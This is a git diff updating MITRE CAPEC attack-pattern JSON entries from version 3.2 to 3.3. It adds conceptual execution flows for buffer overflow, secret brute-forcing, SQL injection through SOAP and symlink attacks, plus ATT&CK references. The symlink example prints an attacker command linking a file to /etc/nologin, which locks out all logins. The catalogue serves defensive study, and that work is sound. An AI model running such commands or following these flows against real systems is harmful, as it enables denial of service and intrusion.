"2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Dumpster Diving", "description": "An adversary cases an establishment and searches through trash bins, dumpsters, or areas where company information may have been accidentally discarded for information items which may be useful to the dumpster diver. The devastating nature of the items and/or information found can be anything from medical records, resumes, personal photos and emails, bank statements, account details or information about software, tech support logs and so much more. By collecting this information an adversary may be able to learn important facts about the person or organization that play a role in helping the adversary in their attack.", "external_references": [ @@ -38,7 +38,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab.json b/capec/attack-pattern/attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab.json index 7d7bd7f36b..0e7cbcb5e1 100644 --- a/capec/attack-pattern/attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab.json +++ b/capec/attack-pattern/attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b68bba90-1a74-4f32-81ab-84ac2a6f53ba", + "id": "bundle--0365f5af-9798-4e59-8379-487c04638c08", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808.json b/capec/attack-pattern/attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808.json index 9cafe6116a..7d8b853e52 100644 --- a/capec/attack-pattern/attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808.json +++ b/capec/attack-pattern/attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--04e4de74-da80-4084-b2bf-c8e615782671", + "id": "bundle--b3334d3e-2414-4673-864d-65f3bf95d9b9", "spec_version": "2.0", "objects": [ { @@ -44,7 +44,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--77e51461-7843-411c-a90e-852498957f76.json b/capec/attack-pattern/attack-pattern--77e51461-7843-411c-a90e-852498957f76.json index 0c7f3f2d52..838239bd65 100644 --- a/capec/attack-pattern/attack-pattern--77e51461-7843-411c-a90e-852498957f76.json +++ b/capec/attack-pattern/attack-pattern--77e51461-7843-411c-a90e-852498957f76.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9f9c9d71-7447-4326-a0aa-c23cfc9a18b8", + "id": "bundle--6bad224b-664c-4a65-8408-fe9fa13d5945", "spec_version": "2.0", "objects": [ { @@ -80,6 +80,7 @@ "The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.", "Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an adversary not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The adversary identifies a buffer to target. Buffer regions are either allotted on the stack or the heap, and the exact nature of attack would vary depending on the location of the buffer

  2. Next, the adversary identifies an injection vector to deliver the excessive content to the targeted buffer.

Experiment

  1. The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.

Exploit

  1. The adversary injects the content into the targeted software.

  2. Upon successful exploitation, the system either crashes or control of the program is returned to a location of the adversaries' choice. This can result in execution of arbitrary code or escalated privileges, depending upon the exploited target.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Targeted software performs buffer operations.", @@ -95,7 +96,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b.json b/capec/attack-pattern/attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b.json index 5d8ee8a654..c229af1b4b 100644 --- a/capec/attack-pattern/attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b.json +++ b/capec/attack-pattern/attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--870658ac-d08f-46a7-a8ee-3f8986f46bb3", + "id": "bundle--0772f516-2768-4396-b69a-079e9d51df38", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156.json b/capec/attack-pattern/attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156.json index 8bd794c220..2ddec66cf5 100644 --- a/capec/attack-pattern/attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156.json +++ b/capec/attack-pattern/attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bc81f2d6-5036-409a-beda-467eb0e8f9ea", + "id": "bundle--837bb7a9-65b4-4d28-8fb4-53b321355348", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Install Rootkit ", "description": "An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.", "external_references": [ @@ -21,6 +21,24 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Rootkit", + "url": "https://attack.mitre.org/wiki/Technique/T1014", + "external_id": "T1014" + }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:Bootkit", + "url": "https://attack.mitre.org/wiki/Technique/T1542/003", + "external_id": "T1542.003" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Kernel Modules and Extensions", + "url": "https://attack.mitre.org/wiki/Technique/T1547/006", + "external_id": "T1547.006" } ], "object_marking_refs": [ @@ -34,7 +52,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4.json b/capec/attack-pattern/attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4.json index 8c6e769a71..2511dfc4cc 100644 --- a/capec/attack-pattern/attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4.json +++ b/capec/attack-pattern/attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a04cef63-d3b8-41da-9e77-9b464f9d8be0", + "id": "bundle--bd307387-91f7-4c72-ac55-d3591224f852", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Tapjacking", - "description": "An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces him/her to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with.", + "description": "An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces them to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with.", "external_references": [ { "source_name": "capec", @@ -45,7 +45,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8.json b/capec/attack-pattern/attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8.json index cdaf42003d..00171786ee 100644 --- a/capec/attack-pattern/attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8.json +++ b/capec/attack-pattern/attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--beda64b4-d34e-403f-a17a-b9fec59ac031", + "id": "bundle--4fe3ff9e-f950-4bc8-8fff-18363f1ecefb", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd.json b/capec/attack-pattern/attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd.json index 444dfb1e36..6a53f344db 100644 --- a/capec/attack-pattern/attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd.json +++ b/capec/attack-pattern/attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ab3cb13f-7f35-4882-b222-d7784b899886", + "id": "bundle--c6880b4c-7cba-410b-b1de-848188980d28", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--797a5be6-23ff-41bb-be85-51a9976867dd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Leveraging Active Man in the Middle Attacks to Bypass Same Origin Policy", - "description": "An attacker leverages a man in the middle attack in order to bypass the same origin policy protection in the victim's browser. This active man in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non-sensitive website that does not use TLS. For instance, the victim may be checking flight or weather information. When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active man in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in his or her browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active man in the middle attacker intercepts these responses, injects his or her own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can essentially be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well.", + "description": "An attacker leverages a man in the middle attack in order to bypass the same origin policy protection in the victim's browser. This active man in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non-sensitive website that does not use TLS. For instance, the victim may be checking flight or weather information. When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active man in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in their browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active man in the middle attacker intercepts these responses, injects their own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can essentially be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well.", "external_references": [ { "source_name": "capec", @@ -42,7 +42,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--797f4b4e-371a-4d06-9e98-5cccb8a7ebc1.json b/capec/attack-pattern/attack-pattern--797f4b4e-371a-4d06-9e98-5cccb8a7ebc1.json index e11e105077..22a005cede 100644 --- a/capec/attack-pattern/attack-pattern--797f4b4e-371a-4d06-9e98-5cccb8a7ebc1.json +++ b/capec/attack-pattern/attack-pattern--797f4b4e-371a-4d06-9e98-5cccb8a7ebc1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fb4d2f09-e0f4-420a-ab7b-93e485b0ab6a", + "id": "bundle--89f0cac9-2e48-419c-b73c-9194acb8ef84", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--797f4b4e-371a-4d06-9e98-5cccb8a7ebc1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Collect Data from Common Resource Locations", "description": "An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks.", "external_references": [ @@ -21,6 +21,32 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/552.html", "external_id": "CWE-552" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, + { + "source_name": "ATTACK", + "description": "Email Collection:Local Email Collection", + "url": "https://attack.mitre.org/wiki/Technique/T1114/001", + "external_id": "T1114.001" } ], "object_marking_refs": [ @@ -35,7 +61,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31.json b/capec/attack-pattern/attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31.json index 8705a55156..ad54c8e9d1 100644 --- a/capec/attack-pattern/attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31.json +++ b/capec/attack-pattern/attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f883ce81-3ad5-46b5-8492-3b33b6d3bb4a", + "id": "bundle--58a8a669-9341-4b3c-baec-878ca3f897f3", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7b423196-9de6-400f-91de-a1f26b3f19f1.json b/capec/attack-pattern/attack-pattern--7b423196-9de6-400f-91de-a1f26b3f19f1.json index 48bf6c34d1..52a71a9feb 100644 --- a/capec/attack-pattern/attack-pattern--7b423196-9de6-400f-91de-a1f26b3f19f1.json +++ b/capec/attack-pattern/attack-pattern--7b423196-9de6-400f-91de-a1f26b3f19f1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2b80d244-8e20-44f4-bdad-5f57c6fe074a", + "id": "bundle--58f10f03-7876-416f-acbc-704e5f539c29", "spec_version": "2.0", "objects": [ { @@ -49,6 +49,7 @@ "Gain Privileges" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine secret testing procedure: Determine how a potential guess of the secret may be tested. This may be accomplished by comparing some manipulation of the secret to a known value, use of the secret to manipulate some known set of data and determining if the result displays specific characteristics (for example, turning cryptotext into plaintext), or by submitting the secret to some external authority and having the external authority respond as to whether the value was the correct secret. Ideally, the attacker will want to determine the correctness of their guess independently since involvement of an external authority is usually slower and can provide an indication to the defender that a brute-force attack is being attempted.

    2. Techniques
    Determine if there is a way to parallelize the attack. Most brute force attacks can take advantage of parallel techniques by dividing the search space among available resources, thus dividing the average time to success by the number of resources available. If there is a single choke point, such as a need to check answers with an external authority, the attackers' position is significantly degraded.

  2. Reduce search space: Find ways to reduce the secret space. The smaller the attacker can make the space they need to search for the secret value, the greater their chances for success. There are a great many ways in which the search space may be reduced.

    3. Techniques
    If possible, determine how the secret was selected. If the secret was determined algorithmically (such as by a random number generator) the algorithm may have patterns or dependencies that reduce the size of the secret space. If the secret was created by a human, behavioral factors may, if not completely reduce the space, make some types of secrets more likely than others. (For example, humans may use the same secrets in multiple places or use secrets that look or sound familiar for ease of recall.)
    If the secret was chosen algorithmically, cryptanalysis can be applied to the algorithm to discover patterns in this algorithm. (This is true even if the secret is not used in cryptography.) Periodicity, the need for seed values, or weaknesses in the generator all can result in a significantly smaller secret space.
    If the secret was chosen by a person, social engineering and simple espionage can indicate patterns in their secret selection. If old secrets can be learned (and a target may feel they have little need to protect a secret that has been replaced) hints as to their selection preferences can be gleaned. These can include character substitutions a target employs, patterns in sources (dates, famous phrases, music lyrics, family members, etc.). Once these patterns have been determined, the initial efforts of a brute-force attack can focus on these areas.
    Some algorithmic techniques for secret selection may leave indicators that can be tested for relatively easily and which could then be used to eliminate large areas of the search space for consideration. For example, it may be possible to determine that a secret does or does not start with a given character after a relatively small number of tests. Alternatively, it might be possible to discover the length of the secret relatively easily. These discoveries would significantly reduce the search space, thus increasing speed with which the attacker discovers the secret.

  3. Expand victory conditions: It is sometimes possible to expand victory conditions. For example, the attacker might not need to know the exact secret but simply needs a value that produces the same result using a one-way function. While doing this does not reduce the size of the search space, the presence of multiple victory conditions does reduce the likely amount of time that the attacker will need to explore the space before finding a workable value.

Exploit

  1. Gather information so attack can be performed independently.: If possible, gather the necessary information so a successful search can be determined without consultation of an external authority. This can be accomplished by capturing cryptotext (if the goal is decoding the text) or the encrypted password dictionary (if the goal is learning passwords).

", "x_capec_prerequisites": [ "The attacker must be able to determine when they have successfully guessed the secret. As such, one-time pads are immune to this type of attack since there is no way to determine when a guess is correct." ], @@ -60,7 +61,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda.json b/capec/attack-pattern/attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda.json index 8f7f80c53b..d5bad2b10d 100644 --- a/capec/attack-pattern/attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda.json +++ b/capec/attack-pattern/attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c2b6d998-874d-4f51-b7bd-a26f89445727", + "id": "bundle--f988562e-06a2-4eea-bb47-c3301eaeb88d", "spec_version": "2.0", "objects": [ { @@ -61,7 +61,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7c90bef7-530c-427b-8fb7-f9d3eda9c26a.json b/capec/attack-pattern/attack-pattern--7c90bef7-530c-427b-8fb7-f9d3eda9c26a.json index 8ade63c29f..33f4eeda08 100644 --- a/capec/attack-pattern/attack-pattern--7c90bef7-530c-427b-8fb7-f9d3eda9c26a.json +++ b/capec/attack-pattern/attack-pattern--7c90bef7-530c-427b-8fb7-f9d3eda9c26a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--94b3dd86-6a4c-4f66-8e3d-a5712b6b6263", + "id": "bundle--d9737bd2-d35c-44a5-8106-f02e725a6bb6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7c90bef7-530c-427b-8fb7-f9d3eda9c26a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "SQL Injection through SOAP Parameter Tampering", "description": "An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.", "external_references": [ @@ -54,8 +54,9 @@ ] }, "x_capec_example_instances": [ - "An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. He notices that the system fails to respond when these malicious inputs are injected in certain parameters transferred in a SOAP message. The attacker crafts a SQL query that modifies his payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure." + "An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. They notice that the system fails to respond when these malicious inputs are injected in certain parameters transferred in a SOAP message. The attacker crafts a SQL query that modifies their payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Detect Incorrect SOAP Parameter Handling: The attacker tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application.

    2. Techniques
    The attacker tampers with the SOAP message parameters by injecting some special characters such as single quotes, double quotes, semi columns, etc. The attacker observes system behavior.

Experiment

  1. Probe for SQL Injection vulnerability: The attacker injects SQL syntax into vulnerable SOAP parameters identified during the Explore phase to search for unfiltered execution of the SQL syntax in a query.

Exploit

  1. Inject SQL via SOAP Parameters: The attacker injects SQL via SOAP parameters identified as vulnerable during Explore phase to launch a first or second order SQL injection attack.

    2. Techniques
    An attacker performs a SQL injection attack via the usual methods leveraging SOAP parameters as the injection vector. An attacker has to be careful not to break the XML parser at the service provider which may prevent the payload getting through to the SQL query. The attacker may also look at the WSDL for the web service (if available) to better understand what is expected by the service provider.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "SOAP messages are used as a communication mechanism in the system", @@ -71,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7cb5458d-b646-4a25-ad0a-4c3fabd70a65.json b/capec/attack-pattern/attack-pattern--7cb5458d-b646-4a25-ad0a-4c3fabd70a65.json index 872da5f21f..43b1019c6b 100644 --- a/capec/attack-pattern/attack-pattern--7cb5458d-b646-4a25-ad0a-4c3fabd70a65.json +++ b/capec/attack-pattern/attack-pattern--7cb5458d-b646-4a25-ad0a-4c3fabd70a65.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--920f50e4-690d-4998-9ab2-c44bebd479ed", + "id": "bundle--3a210bdb-b2ba-495f-8f14-2c317724fbd1", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7cb5458d-b646-4a25-ad0a-4c3fabd70a65", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Symlink Attack", "description": "An attacker positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name. The endpoint file may be either output or input. If the file is output, the result is that the endpoint is modified, instead of a file at the intended location. Modifications to the endpoint file may include appending, overwriting, corrupting, changing permissions, or other modifications. In some variants of this attack the attacker may be able to control the change to a file while in other cases they cannot. The former is especially damaging since the attacker may be able to grant themselves increased privileges or insert false information, but the latter can also be damaging as it can expose sensitive information or corrupt or destroy vital system or application files. Alternatively, the endpoint file may serve as input to the targeted application. This can be used to feed malformed input into the target or to cause the target to process different information, possibly allowing the attacker to control the actions of the target or to cause the target to expose information to the attacker. Moreover, the actions taken on the endpoint file are undertaken with the permissions of the targeted user or application, which may exceed the permissions that the attacker would normally have.", "external_references": [ @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/59.html", "external_id": "CWE-59" }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Shortcut Modification", + "url": "https://attack.mitre.org/wiki/Technique/T1547/009", + "external_id": "T1547.009" + }, { "source_name": "reference_from_CAPEC", "description": "Shaun Colley, Crafting Symlinks for Fun and Profit", @@ -66,6 +72,7 @@ "x_capec_example_instances": [ "\n The attacker creates a symlink with the \"same\" name as the file which the application is intending to write to. The application will write to the file- \"causing the data to be written where the symlink is pointing\". An attack like this can be demonstrated as follows:\n root# vulprog myFile\n {...program does some processing...]\n \n attacker# ln \u2013s /etc/nologin myFile\n [...program writes to 'myFile', which points to /etc/nologin...]\n \n \n In the above example, the root user ran a program with poorly written file handling routines, providing the filename \"myFile\" to vulnprog for the relevant data to be written to. However, the attacker happened to be looking over the shoulder of \"root\" at the time, and created a link from myFile to /etc/nologin. The attack would make no user be able to login.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify Target: Attacker identifies the target application by determining whether there is sufficient check before writing data to a file and creating symlinks to files in different directories.

    2. Techniques
    The attacker writes to files in different directories to check whether the application has sufficient checking before file operations.
    The attacker creates symlinks to files in different directories.

Experiment

  1. Try to create symlinks to different files: The attacker then uses a variety of techniques, such as monitoring or guessing to create symlinks to the files accessed by the target application in the directories which are identified in the explore phase.

    2. Techniques
    The attacker monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the attacker can delay the operations by using \"sleep(2)\" and \"usleep()\" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.
    The attacker may need a little guesswork on the filenames on which the target application would operate.
    The attacker tries to create symlinks to the various filenames.

Exploit

  1. Target application operates on created symlinks to sensitive files: The attacker is able to create symlinks to sensitive files while the target application is operating on the file.

    2. Techniques
    Create the symlink to the sensitive file such as configuration files, etc.
